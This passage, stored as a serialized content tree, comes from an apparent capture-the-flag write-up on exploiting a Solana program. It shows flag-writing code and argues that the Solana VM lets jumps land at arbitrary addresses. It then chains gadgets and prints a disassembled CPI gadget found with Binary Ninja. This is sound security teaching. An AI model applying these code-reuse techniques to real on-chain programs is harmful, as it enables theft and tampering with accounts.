type":23,"tag":41,"props":43759,"children":43760},{"style":170},[43761],{"type":28,"value":706},{"type":23,"tag":41,"props":43763,"children":43764},{"style":114},[43765],{"type":28,"value":42623},{"type":23,"tag":41,"props":43767,"children":43768},{"style":70},[43769],{"type":28,"value":43770},"()]],\n",{"type":23,"tag":41,"props":43772,"children":43773},{"class":43,"line":9106},[43774,43778,43782],{"type":23,"tag":41,"props":43775,"children":43776},{"style":70},[43777],{"type":28,"value":3655},{"type":23,"tag":41,"props":43779,"children":43780},{"style":170},[43781],{"type":28,"value":3155},{"type":23,"tag":41,"props":43783,"children":43784},{"style":70},[43785],{"type":28,"value":183},{"type":23,"tag":41,"props":43787,"children":43788},{"class":43,"line":9212},[43789],{"type":23,"tag":41,"props":43790,"children":43791},{"emptyLinePlaceholder":18},[43792],{"type":28,"value":82},{"type":23,"tag":41,"props":43794,"children":43795},{"class":43,"line":23496},[43796],{"type":23,"tag":41,"props":43797,"children":43798},{"style":48},[43799],{"type":28,"value":43800},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":41,"props":43802,"children":43803},{"class":43,"line":23531},[43804,43809,43813,43817,43821,43825,43829,43833,43837,43841,43845,43850,43854,43858,43863,43867,43871,43876],{"type":23,"tag":41,"props":43805,"children":43806},{"style":858},[43807],{"type":28,"value":43808},"    flag_pda_ai",{"type":23,"tag":41,"props":43810,"children":43811},{"style":170},[43812],{"type":28,"value":706},{"type":23,"tag":41,"props":43814,"children":43815},{"style":114},[43816],{"type":28,"value":13868},{"type":23,"tag":41,"props":43818,"children":43819},{"style":70},[43820],{"type":28,"value":13873},{"type":23,"tag":41,"props":43822,"children":43823},{"style":170},[43824],{"type":28,"value":3155},{"type":23,"tag":41,"props":43826,"children":43827},{"style":70},[43828],{"type":28,"value":312},{"type":23,"tag":41,"props":43830,"children":43831},{"style":170},[43832],{"type":28,"value":3053},{"type":23,"tag":41,"props":43834,"children":43835},{"style":164},[43836],{"type":28,"value":4078},{"type":23,"tag":41,"props":43838,"children":43839},{"style":70},[43840],{"type":28,"value":15402},{"type":23,"tag":41,"props":43842,"children":43843},{"style":170},[43844],{"type":28,"value":706},{"type":23,"tag":41,"props":43846,"children":43847},{"style":114},[43848],{"type":28,"value":43849},"copy_from_slice",{"type":23,"tag":41,"props":43851,"children":43852},{"style":70},[43853],{"type":28,"value":1737},{"type":23,"tag":41,"props":43855,"children":43856},{"style":170},[43857],{"type":28,"value":855},{"type":23,"tag":41,"props":43859,"children":43860},{"style":164},[43861],{"type":28,"value":43862},"0x4337",{"type":23,"tag":41,"props":43864,"children":43865},{"style":94},[43866],{"type":28,"value":8041},{"type":23,"tag":41,"props":43868,"children":43869},{"style":170},[43870],{"type":28,"value":706},{"type":23,"tag":41,"props":43872,"children":43873},{"style":114},[43874],{"type":28,"value":43875},"to_le_bytes",{"type":23,"tag":41,"props":43877,"children":43878},{"style":70},[43879],{"type":28,"value":15416},{"type":23,"tag":41,"props":43881,"children":43882},{"class":43,"line":23539},[43883],{"type":23,"tag":41,"props":43884,"children":43885},{"emptyLinePlaceholder":18},[43886],{"type":28,"value":82},{"type":23,"tag":41,"props":43888,"children":43889},{"class":43,"line":23547},[43890,43894],{"type":23,"tag":41,"props":43891,"children":43892},{"style":94},[43893],{"type":28,"value":14325},{"type":23,"tag":41,"props":43895,"children":43896},{"style":70},[43897],{"type":28,"value":14330},{"type":23,"tag":41,"props":43899,"children":43900},{"class":43,"line":23556},[43901],{"type":23,"tag":41,"props":43902,"children":43903},{"style":70},[43904],{"type":28,"value":201},{"type":23,"tag":24,"props":43906,"children":43907},{},[43908],{"type":28,"value":43909},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":43911,"children":43912},{},[43913],{"type":23,"tag":3918,"props":43914,"children":43917},{"alt":43915,"src":43916},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":43919,"children":43920},{},[43921],{"type":28,"value":43922},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":446,"props":43924,"children":43926},{"id":43925},"solution-implementation",[43927],{"type":28,"value":43928},"Solution Implementation",{"type":23,"tag":24,"props":43930,"children":43931},{},[43932,43934,43939],{"type":28,"value":43933},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":37,"props":43935,"children":43937},{"className":43936},[],[43938],{"type":28,"value":35676},{"type":28,"value":43940}," invocations:",{"type":23,"tag":31,"props":43942,"children":43946},{"className":43943,"code":43944,"language":43945,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[43947],{"type":23,"tag":37,"props":43948,"children":43949},{"__ignoreMap":7},[43950,43958,43966,43974,43982,43990,43998],{"type":23,"tag":41,"props":43951,"children":43952},{"class":43,"line":44},[43953],{"type":23,"tag":41,"props":43954,"children":43955},{},[43956],{"type":28,"value":43957},"graph LR\n",{"type":23,"tag":41,"props":43959,"children":43960},{"class":43,"line":54},[43961],{"type":23,"tag":41,"props":43962,"children":43963},{},[43964],{"type":28,"value":43965},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":41,"props":43967,"children":43968},{"class":43,"line":76},[43969],{"type":23,"tag":41,"props":43970,"children":43971},{},[43972],{"type":28,"value":43973},"    B --> C[2: process]\n",{"type":23,"tag":41,"props":43975,"children":43976},{"class":43,"line":85},[43977],{"type":23,"tag":41,"props":43978,"children":43979},{},[43980],{"type":28,"value":43981},"    C --> D[3: gadget1]\n",{"type":23,"tag":41,"props":43983,"children":43984},{"class":43,"line":105},[43985],{"type":23,"tag":41,"props":43986,"children":43987},{},[43988],{"type":28,"value":43989},"    C --> E[3: process]\n",{"type":23,"tag":41,"props":43991,"children":43992},{"class":43,"line":155},[43993],{"type":23,"tag":41,"props":43994,"children":43995},{},[43996],{"type":28,"value":43997},"    E --> F[4: gadget2]\n",{"type":23,"tag":41,"props":43999,"children":44000},{"class":43,"line":186},[44001],{"type":23,"tag":41,"props":44002,"children":44003},{},[44004],{"type":28,"value":44005},"    E --> G[...]\n",{"type":23,"tag":24,"props":44007,"children":44008},{},[44009],{"type":28,"value":44010},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":44012,"children":44013},{},[44014,44016,44022],{"type":28,"value":44015},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":458,"props":44017,"children":44019},{"href":40477,"rel":44018},[462],[44020],{"type":28,"value":44021},"Binary Ninja",{"type":28,"value":44023}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":44025,"children":44026},{},[44027,44029,44036],{"type":28,"value":44028},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":458,"props":44030,"children":44033},{"href":44031,"rel":44032},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[462],[44034],{"type":28,"value":44035},"skip the strip pass",{"type":28,"value":706},{"type":23,"tag":546,"props":44038,"children":44040},{"id":44039},"cpi-gadget",[44041],{"type":28,"value":44042},"CPI Gadget",{"type":23,"tag":24,"props":44044,"children":44045},{},[44046,44048,44053,44055,44062,44064,44070],{"type":28,"value":44047},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":37,"props":44049,"children":44051},{"className":44050},[],[44052],{"type":28,"value":38289},{"type":28,"value":44054}," function. This function calls into the solana sdk's function ",{"type":23,"tag":458,"props":44056,"children":44059},{"href":44057,"rel":44058},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[462],[44060],{"type":28,"value":44061},"invoke_signed_unchecked",{"type":28,"value":44063},", yielding a powerful gadget at the address ",{"type":23,"tag":37,"props":44065,"children":44067},{"className":44066},[],[44068],{"type":28,"value":44069},"0x100001ba8",{"type":28,"value":706},{"type":23,"tag":31,"props":44072,"children":44074},{"className":2982,"code":44073,"language":2981,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[44075],{"type":23,"tag":37,"props":44076,"children":44077},{"__ignoreMap":7},[44078,44103,44159,44210,44262,44314,44337,44385,44392,44424,44475,44533,44567,44574,44623,44653,44728,44735,44786,44832,44839,44870,44921,44951,44973,44980,45031,45076,45083,45134,45162,45183,45190],{"type":23,"tag":41,"props":44079,"children":44080},{"class":43,"line":44},[44081,44085,44089,44094,44098],{"type":23,"tag":41,"props":44082,"children":44083},{"style":70},[44084],{"type":28,"value":13648},{"type":23,"tag":41,"props":44086,"children":44087},{"style":170},[44088],{"type":28,"value":3479},{"type":23,"tag":41,"props":44090,"children":44091},{"style":70},[44092],{"type":28,"value":44093},"program",{"type":23,"tag":41,"props":44095,"children":44096},{"style":170},[44097],{"type":28,"value":3479},{"type":23,"tag":41,"props":44099,"children":44100},{"style":858},[44101],{"type":28,"value":44102},"invoke_signed_unchecked\n",{"type":23,"tag":41,"props":44104,"children":44105},{"class":43,"line":54},[44106,44111,44116,44121,44126,44131,44136,44140,44145,44150,44155],{"type":23,"tag":41,"props":44107,"children":44108},{"style":858},[44109],{"type":28,"value":44110},"100001ba8",{"type":23,"tag":41,"props":44112,"children":44113},{"style":858},[44114],{"type":28,"value":44115},"  79a278ff00000000",{"type":23,"tag":41,"props":44117,"children":44118},{"style":858},[44119],{"type":28,"value":44120},"   ldxdw",{"type":23,"tag":41,"props":44122,"children":44123},{"style":858},[44124],{"type":28,"value":44125}," r2",{"type":23,"tag":41,"props":44127,"children":44128},{"style":70},[44129],{"type":28,"value":44130},", [",{"type":23,"tag":41,"props":44132,"children":44133},{"style":858},[44134],{"type":28,"value":44135},"r10",{"type":23,"tag":41,"props":44137,"children":44138},{"style":170},[44139],{"type":28,"value":4329},{"type":23,"tag":41,"props":44141,"children":44142},{"style":164},[44143],{"type":28,"value":44144},"136",{"type":23,"tag":41,"props":44146,"children":44147},{"style":70},[44148],{"type":28,"value":44149},"] {",{"type":23,"tag":41,"props":44151,"children":44152},{"style":858},[44153],{"type":28,"value":44154},"var_88",{"type":23,"tag":41,"props":44156,"children":44157},{"style":70},[44158],{"type":28,"value":201},{"type":23,"tag":41,"props":44160,"children":44161},{"class":43,"line":76},[44162,44167,44172,44176,44181,44185,44189,44193,44197,44201,44206],{"type":23,"tag":41,"props":44163,"children":44164},{"style":858},[44165],{"type":28,"value":44166},"100001bb0",{"type":23,"tag":41,"props":44168,"children":44169},{"style":858},[44170],{"type":28,"value":44171},"  79a380ff00000000",{"type":23,"tag":41,"props":44173,"children":44174},{"style":858},[44175],{"type":28,"value":44120},{"type":23,"tag":41,"props":44177,"children":44178},{"style":858},[44179],{"type":28,"value":44180}," r3",{"type":23,"tag":41,"props":44182,"children":44183},{"style":70},[44184],{"type":28,"value":44130},{"type":23,"tag":41,"props":44186,"children":44187},{"style":858},[44188],{"type":28,"value":44135},{"type":23,"tag":41,"props":44190,"children":44191},{"style":170},[44192],{"type":28,"value":4329},{"type":23,"tag":41,"props":44194,"children":44195},{"style":164},[44196],{"type":28,"value":29843},{"type":23,"tag":41,"props":44198,"children":44199},{"style":70},[44200],{"type":28,"value":44149},{"type":23,"tag":41,"props":44202,"children":44203},{"style":858},[44204],{"type":28,"value":44205},"var_80",{"type":23,"tag":41,"props":44207,"children":44208},{"style":70},[44209],{"type":28,"value":201},{"type":23,"tag":41,"props":44211,"children":44212},{"class":43,"line":85},[44213,44218,44223,44227,44232,44236,44240,44244,44249,44253,44258],{"type":23,"tag":41,"props":44214,"children":44215},{"style":858},[44216],{"type":28,"value":44217},"100001bb8",{"type":23,"tag":41,"props":44219,"children":44220},{"style":858},[44221],{"type":28,"value":44222},"  79a468ff00000000",{"type":23,"tag":41,"props":44224,"children":44225},{"style":858},[44226],{"type":28,"value":44120},{"type":23,"tag":41,"props":44228,"children":44229},{"style":858},[44230],{"type":28,"value":44231}," r4",{"type":23,"tag":41,"props":44233,"children":44234},{"style":70},[44235],{"type":28,"value":44130},{"type":23,"tag":41,"props":44237,"children":44238},{"style":858},[44239],{"type":28,"value":44135},{"type":23,"tag":41,"props":44241,"children":44242},{"style":170},[44243],{"type":28,"value":4329},{"type":23,"tag":41,"props":44245,"children":44246},{"style":164},[44247],{"type":28,"value":44248},"152",{"type":23,"tag":41,"props":44250,"children":44251},{"style":70},[44252],{"type":28,"value":44149},{"type":23,"tag":41,"props":44254,"children":44255},{"style":858},[44256],{"type":28,"value":44257},"var_98",{"type":23,"tag":41,"props":44259,"children":44260},{"style":70},[44261],{"type":28,"value":201},{"type":23,"tag":41,"props":44263,"children":44264},{"class":43,"line":105},[44265,44270,44275,44279,44284,44288,44292,44296,44301,44305,44310],{"type":23,"tag":41,"props":44266,"children":44267},{"style":858},[44268],{"type":28,"value":44269},"100001bc0",{"type":23,"tag":41,"props":44271,"children":44272},{"style":858},[44273],{"type":28,"value":44274},"  79a570ff00000000",{"type":23,"tag":41,"props":44276,"children":44277},{"style":858},[44278],{"type":28,"value":44120},{"type":23,"tag":41,"props":44280,"children":44281},{"style":858},[44282],{"type":28,"value":44283}," r5",{"type":23,"tag":41,"props":44285,"children":44286},{"style":70},[44287],{"type":28,"value":44130},{"type":23,"tag":41,"props":44289,"children":44290},{"style":858},[44291],{"type":28,"value":44135},{"type":23,"tag":41,"props":44293,"children":44294},{"style":170},[44295],{"type":28,"value":4329},{"type":23,"tag":41,"props":44297,"children":44298},{"style":164},[44299],{"type":28,"value":44300},"144",{"type":23,"tag":41,"props":44302,"children":44303},{"style":70},[44304],{"type":28,"value":44149},{"type":23,"tag":41,"props":44306,"children":44307},{"style":858},[44308],{"type":28,"value":44309},"var_90",{"type":23,"tag":41,"props":44311,"children":44312},{"style":70},[44313],{"type":28,"value":201},{"type":23,"tag":41,"props":44315,"children":44316},{"class":43,"line":155},[44317,44322,44327,44332],{"type":23,"tag":41,"props":44318,"children":44319},{"style":858},[44320],{"type":28,"value":44321},"100001bc8",{"type":23,"tag":41,"props":44323,"children":44324},{"style":164},[44325],{"type":28,"value":44326},"  8520000020100000",{"type":23,"tag":41,"props":44328,"children":44329},{"style":858},[44330],{"type":28,"value":44331},"   call",{"type":23,"tag":41,"props":44333,"children":44334},{"style":858},[44335],{"type":28,"value":44336}," sol_invoke_signed_rust\n",{"type":23,"tag":41,"props":44338,"children":44339},{"class":43,"line":186},[44340,44345,44350,44355,44359,44363,44367,44371,44376,44380],{"type":23,"tag":41,"props":44341,"children":44342},{"style":858},[44343],{"type":28,"value":44344},"100001bd0",{"type":23,"tag":41,"props":44346,"children":44347},{"style":164},[44348],{"type":28,"value":44349},"  5500040000000000",{"type":23,"tag":41,"props":44351,"children":44352},{"style":858},[44353],{"type":28,"value":44354},"   jne",{"type":23,"tag":41,"props":44356,"children":44357},{"style":70},[44358],{"type":28,"value":758},{"type":23,"tag":41,"props":44360,"children":44361},{"style":170},[44362],{"type":28,"value":4383},{"type":23,"tag":41,"props":44364,"children":44365},{"style":164},[44366],{"type":28,"value":17515},{"type":23,"tag":41,"props":44368,"children":44369},{"style":70},[44370],{"type":28,"value":5821},{"type":23,"tag":41,"props":44372,"children":44373},{"style":858},[44374],{"type":28,"value":44375},"r0",{"type":23,"tag":41,"props":44377,"children":44378},{"style":70},[44379],{"type":28,"value":970},{"type":23,"tag":41,"props":44381,"children":44382},{"style":164},[44383],{"type":28,"value":44384},"0x0\n",{"type":23,"tag":41,"props":44386,"children":44387},{"class":43,"line":195},[44388],{"type":23,"tag":41,"props":44389,"children":44390},{"emptyLinePlaceholder":18},[44391],{"type":28,"value":82},{"type":23,"tag":41,"props":44393,"children":44394},{"class":43,"line":905},[44395,44400,44405,44410,44415,44419],{"type":23,"tag":41,"props":44396,"children":44397},{"style":858},[44398],{"type":28,"value":44399},"100001bd8",{"type":23,"tag":41,"props":44401,"children":44402},{"style":858},[44403],{"type":28,"value":44404},"  b701000018000000",{"type":23,"tag":41,"props":44406,"children":44407},{"style":858},[44408],{"type":28,"value":44409},"   mov",{"type":23,"tag":41,"props":44411,"children":44412},{"style":858},[44413],{"type":28,"value":44414}," r1",{"type":23,"tag":41,"props":44416,"children":44417},{"style":70},[44418],{"type":28,"value":970},{"type":23,"tag":41,"props":44420,"children":44421},{"style":164},[44422],{"type":28,"value":44423},"0x18\n",{"type":23,"tag":41,"props":44425,"children":44426},{"class":43,"line":922},[44427,44432,44437,44441,44445,44449,44453,44457,44462,44466,44471],{"type":23,"tag":41,"props":44428,"children":44429},{"style":858},[44430],{"type":28,"value":44431},"100001be0",{"type":23,"tag":41,"props":44433,"children":44434},{"style":858},[44435],{"type":28,"value":44436},"  79a288ff00000000",{"type":23,"tag":41,"props":44438,"children":44439},{"style":858},[44440],{"type":28,"value":44120},{"type":23,"tag":41,"props":44442,"children":44443},{"style":858},[44444],{"type":28,"value":44125},{"type":23,"tag":41,"props":44446,"children":44447},{"style":70},[44448],{"type":28,"value":44130},{"type":23,"tag":41,"props":44450,"children":44451},{"style":858},[44452],{"type":28,"value":44135},{"type":23,"tag":41,"props":44454,"children":44455},{"style":170},[44456],{"type":28,"value":4329},{"type":23,"tag":41,"props":44458,"children":44459},{"style":164},[44460],{"type":28,"value":44461},"120",{"type":23,"tag":41,"props":44463,"children":44464},{"style":70},[44465],{"type":28,"value":44149},{"type":23,"tag":41,"props":44467,"children":44468},{"style":858},[44469],{"type":28,"value":44470},"var_78",{"type":23,"tag":41,"props":44472,"children":44473},{"style":70},[44474],{"type":28,"value":201},{"type":23,"tag":41,"props":44476,"children":44477},{"class":43,"line":930},[44478,44483,44488,44493,44497,44502,44506,44510,44514,44519,44524,44529],{"type":23,"tag":41,"props":44479,"children":44480},{"style":858},[44481],{"type":28,"value":44482},"100001be8",{"type":23,"tag":41,"props":44484,"children":44485},{"style":164},[44486],{"type":28,"value":44487},"  6312000000000000",{"type":23,"tag":41,"props":44489,"children":44490},{"style":858},[44491],{"type":28,"value":44492},"   stxw",{"type":23,"tag":41,"props":44494,"children":44495},{"style":70},[44496],{"type":28,"value":23019},{"type":23,"tag":41,"props":44498,"children":44499},{"style":858},[44500],{"type":28,"value":44501},"r2",{"type":23,"tag":41,"props":44503,"children":44504},{"style":170},[44505],{"type":28,"value":4329},{"type":23,"tag":41,"props":44507,"children":44508},{"style":164},[44509],{"type":28,"value":4024},{"type":23,"tag":41,"props":44511,"children":44512},{"style":70},[44513],{"type":28,"value":23047},{"type":23,"tag":41,"props":44515,"children":44516},{"style":858},[44517],{"type":28,"value":44518},"r1",{"type":23,"tag":41,"props":44520,"children":44521},{"style":70},[44522],{"type":28,"value":44523},"  {",{"type":23,"tag":41,"props":44525,"children":44526},{"style":164},[44527],{"type":28,"value":44528},"0x18",{"type":23,"tag":41,"props":44530,"children":44531},{"style":70},[44532],{"type":28,"value":201},{"type":23,"tag":41,"props":44534,"children":44535},{"class":43,"line":939},[44536,44541,44546,44551,44555,44559,44563],{"type":23,"tag":41,"props":44537,"children":44538},{"style":858},[44539],{"type":28,"value":44540},"100001bf0",{"type":23,"tag":41,"props":44542,"children":44543},{"style":164},[44544],{"type":28,"value":44545},"  0500030000000000",{"type":23,"tag":41,"props":44547,"children":44548},{"style":858},[44549],{"type":28,"value":44550},"   ja",{"type":23,"tag":41,"props":44552,"children":44553},{"style":70},[44554],{"type":28,"value":758},{"type":23,"tag":41,"props":44556,"children":44557},{"style":170},[44558],{"type":28,"value":4383},{"type":23,"tag":41,"props":44560,"children":44561},{"style":164},[44562],{"type":28,"value":17282},{"type":23,"tag":41,"props":44564,"children":44565},{"style":70},[44566],{"type":28,"value":773},{"type":23,"tag":41,"props":44568,"children":44569},{"class":43,"line":947},[44570],{"type":23,"tag":41,"props":44571,"children":44572},{"emptyLinePlaceholder":18},[44573],{"type":28,"value":82},{"type":23,"tag":41,"props":44575,"children":44576},{"class":43,"line":985},[44577,44582,44587,44591,44595,44599,44603,44607,44611,44615,44619],{"type":23,"tag":41,"props":44578,"children":44579},{"style":858},[44580],{"type":28,"value":44581},"100001bf8",{"type":23,"tag":41,"props":44583,"children":44584},{"style":858},[44585],{"type":28,"value":44586},"  79a188ff00000000",{"type":23,"tag":41,"props":44588,"children":44589},{"style":858},[44590],{"type":28,"value":44120},{"type":23,"tag":41,"props":44592,"children":44593},{"style":858},[44594],{"type":28,"value":44414},{"type":23,"tag":41,"props":44596,"children":44597},{"style":70},[44598],{"type":28,"value":44130},{"type":23,"tag":41,"props":44600,"children":44601},{"style":858},[44602],{"type":28,"value":44135},{"type":23,"tag":41,"props":44604,"children":44605},{"style":170},[44606],{"type":28,"value":4329},{"type":23,"tag":41,"props":44608,"children":44609},{"style":164},[44610],{"type":28,"value":44461},{"type":23,"tag":41,"props":44612,"children":44613},{"style":70},[44614],{"type":28,"value":44149},{"type":23,"tag":41,"props":44616,"children":44617},{"style":858},[44618],{"type":28,"value":44470},{"type":23,"tag":41,"props":44620,"children":44621},{"style":70},[44622],{"type":28,"value":201},{"type":23,"tag":41,"props":44624,"children":44625},{"class":43,"line":1058},[44626,44631,44636,44640,44644,44648],{"type":23,"tag":41,"props":44627,"children":44628},{"style":858},[44629],{"type":28,"value":44630},"100001c00",{"type":23,"tag":41,"props":44632,"children":44633},{"style":858},[44634],{"type":28,"value":44635},"  bf02000000000000",{"type":23,"tag":41,"props":44637,"children":44638},{"style":858},[44639],{"type":28,"value":44409},{"type":23,"tag":41,"props":44641,"children":44642},{"style":858},[44643],{"type":28,"value":44125},{"type":23,"tag":41,"props":44645,"children":44646},{"style":70},[44647],{"type":28,"value":970},{"type":23,"tag":41,"props":44649,"children":44650},{"style":858},[44651],{"type":28,"value":44652},"r0\n",{"type":23,"tag":41,"props":44654,"children":44655},{"class":43,"line":1084},[44656,44661,44666,44670,44675,44679,44684,44688,44692,44697,44701,44705,44710,44715,44719,44723],{"type":23,"tag":41,"props":44657,"children":44658},{"style":858},[44659],{"type":28,"value":44660},"100001c08",{"type":23,"tag":41,"props":44662,"children":44663},{"style":164},[44664],{"type":28,"value":44665},"  8510000075000000",{"type":23,"tag":41,"props":44667,"children":44668},{"style":858},[44669],{"type":28,"value":44331},{"type":23,"tag":41,"props":44671,"children":44672},{"style":94},[44673],{"type":28,"value":44674}," _ZN94_",{"type":23,"tag":41,"props":44676,"children":44677},{"style":170},[44678],{"type":28,"value":10286},{"type":23,"tag":41,"props":44680,"children":44681},{"style":94},[44682],{"type":28,"value":44683},"LT",{"type":23,"tag":41,"props":44685,"children":44686},{"style":170},[44687],{"type":28,"value":10286},{"type":23,"tag":41,"props":44689,"children":44690},{"style":858},[44691],{"type":28,"value":13648},{"type":23,"tag":41,"props":44693,"children":44694},{"style":170},[44695],{"type":28,"value":44696},"...$",{"type":23,"tag":41,"props":44698,"children":44699},{"style":858},[44700],{"type":28,"value":8041},{"type":23,"tag":41,"props":44702,"children":44703},{"style":170},[44704],{"type":28,"value":10286},{"type":23,"tag":41,"props":44706,"children":44707},{"style":94},[44708],{"type":28,"value":44709},"GT",{"type":23,"tag":41,"props":44711,"children":44712},{"style":170},[44713],{"type":28,"value":44714},"$$",{"type":23,"tag":41,"props":44716,"children":44717},{"style":94},[44718],{"type":28,"value":44709},{"type":23,"tag":41,"props":44720,"children":44721},{"style":170},[44722],{"type":28,"value":10286},{"type":23,"tag":41,"props":44724,"children":44725},{"style":70},[44726],{"type":28,"value":44727},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":41,"props":44729,"children":44730},{"class":43,"line":1102},[44731],{"type":23,"tag":41,"props":44732,"children":44733},{"emptyLinePlaceholder":18},[44734],{"type":28,"value":82},{"type":23,"tag":41,"props":44736,"children":44737},{"class":43,"line":1110},[44738,44743,44748,44752,44756,44760,44764,44768,44773,44777,44782],{"type":23,"tag":41,"props":44739,"children":44740},{"style":858},[44741],{"type":28,"value":44742},"100001c10",{"type":23,"tag":41,"props":44744,"children":44745},{"style":858},[44746],{"type":28,"value":44747},"  79a2b8ff00000000",{"type":23,"tag":41,"props":44749,"children":44750},{"style":858},[44751],{"type":28,"value":44120},{"type":23,"tag":41,"props":44753,"children":44754},{"style":858},[44755],{"type":28,"value":44125},{"type":23,"tag":41,"props":44757,"children":44758},{"style":70},[44759],{"type":28,"value":44130},{"type":23,"tag":41,"props":44761,"children":44762},{"style":858},[44763],{"type":28,"value":44135},{"type":23,"tag":41,"props":44765,"children":44766},{"style":170},[44767],{"type":28,"value":4329},{"type":23,"tag":41,"props":44769,"children":44770},{"style":164},[44771],{"type":28,"value":44772},"72",{"type":23,"tag":41,"props":44774,"children":44775},{"style":70},[44776],{"type":28,"value":44149},{"type":23,"tag":41,"props":44778,"children":44779},{"style":858},[44780],{"type":28,"value":44781},"var_48",{"type":23,"tag":41,"props":44783,"children":44784},{"style":70},[44785],{"type":28,"value":201},{"type":23,"tag":41,"props":44787,"children":44788},{"class":43,"line":1118},[44789,44794,44799,44804,44808,44812,44816,44820,44824,44828],{"type":23,"tag":41,"props":44790,"children":44791},{"style":858},[44792],{"type":28,"value":44793},"100001c18",{"type":23,"tag":41,"props":44795,"children":44796},{"style":164},[44797],{"type":28,"value":44798},"  1502040000000000",{"type":23,"tag":41,"props":44800,"children":44801},{"style":858},[44802],{"type":28,"value":44803},"   jeq",{"type":23,"tag":41,"props":44805,"children":44806},{"style":70},[44807],{"type":28,"value":758},{"type":23,"tag":41,"props":44809,"children":44810},{"style":170},[44811],{"type":28,"value":4383},{"type":23,"tag":41,"props":44813,"children":44814},{"style":164},[44815],{"type":28,"value":17515},{"type":23,"tag":41,"props":44817,"children":44818},{"style":70},[44819],{"type":28,"value":5821},{"type":23,"tag":41,"props":44821,"children":44822},{"style":858},[44823],{"type":28,"value":44501},{"type":23,"tag":41,"props":44825,"children":44826},{"style":70},[44827],{"type":28,"value":970},{"type":23,"tag":41,"props":44829,"children":44830},{"style":164},[44831],{"type":28,"value":44384},{"type":23,"tag":41,"props":44833,"children":44834},{"class":43,"line":1137},[44835],{"type":23,"tag":41,"props":44836,"children":44837},{"emptyLinePlaceholder":18},[44838],{"type":28,"value":82},{"type":23,"tag":41,"props":44840,"children":44841},{"class":43,"line":1163},[44842,44847,44852,44857,44861,44865],{"type":23,"tag":41,"props":44843,"children":44844},{"style":858},[44845],{"type":28,"value":44846},"100001c20",{"type":23,"tag":41,"props":44848,"children":44849},{"style":164},[44850],{"type":28,"value":44851},"  2702000022000000",{"type":23,"tag":41,"props":44853,"children":44854},{"style":858},[44855],{"type":28,"value":44856},"   mul",{"type":23,"tag":41,"props":44858,"children":44859},{"style":858},[44860],{"type":28,"value":44125},{"type":23,"tag":41,"props":44862,"children":44863},{"style":70},[44864],{"type":28,"value":970},{"type":23,"tag":41,"props":44866,"children":44867},{"style":164},[44868],{"type":28,"value":44869},"0x22\n",{"type":23,"tag":41,"props":44871,"children":44872},{"class":43,"line":1188},[44873,44878,44883,44887,44891,44895,44899,44903,44908,44912,44917],{"type":23,"tag":41,"props":44874,"children":44875},{"style":858},[44876],{"type":28,"value":44877},"100001c28",{"type":23,"tag":41,"props":44879,"children":44880},{"style":858},[44881],{"type":28,"value":44882},"  